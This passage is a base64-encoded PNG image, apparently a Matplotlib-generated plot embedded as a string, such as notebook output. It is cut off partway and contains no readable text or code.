"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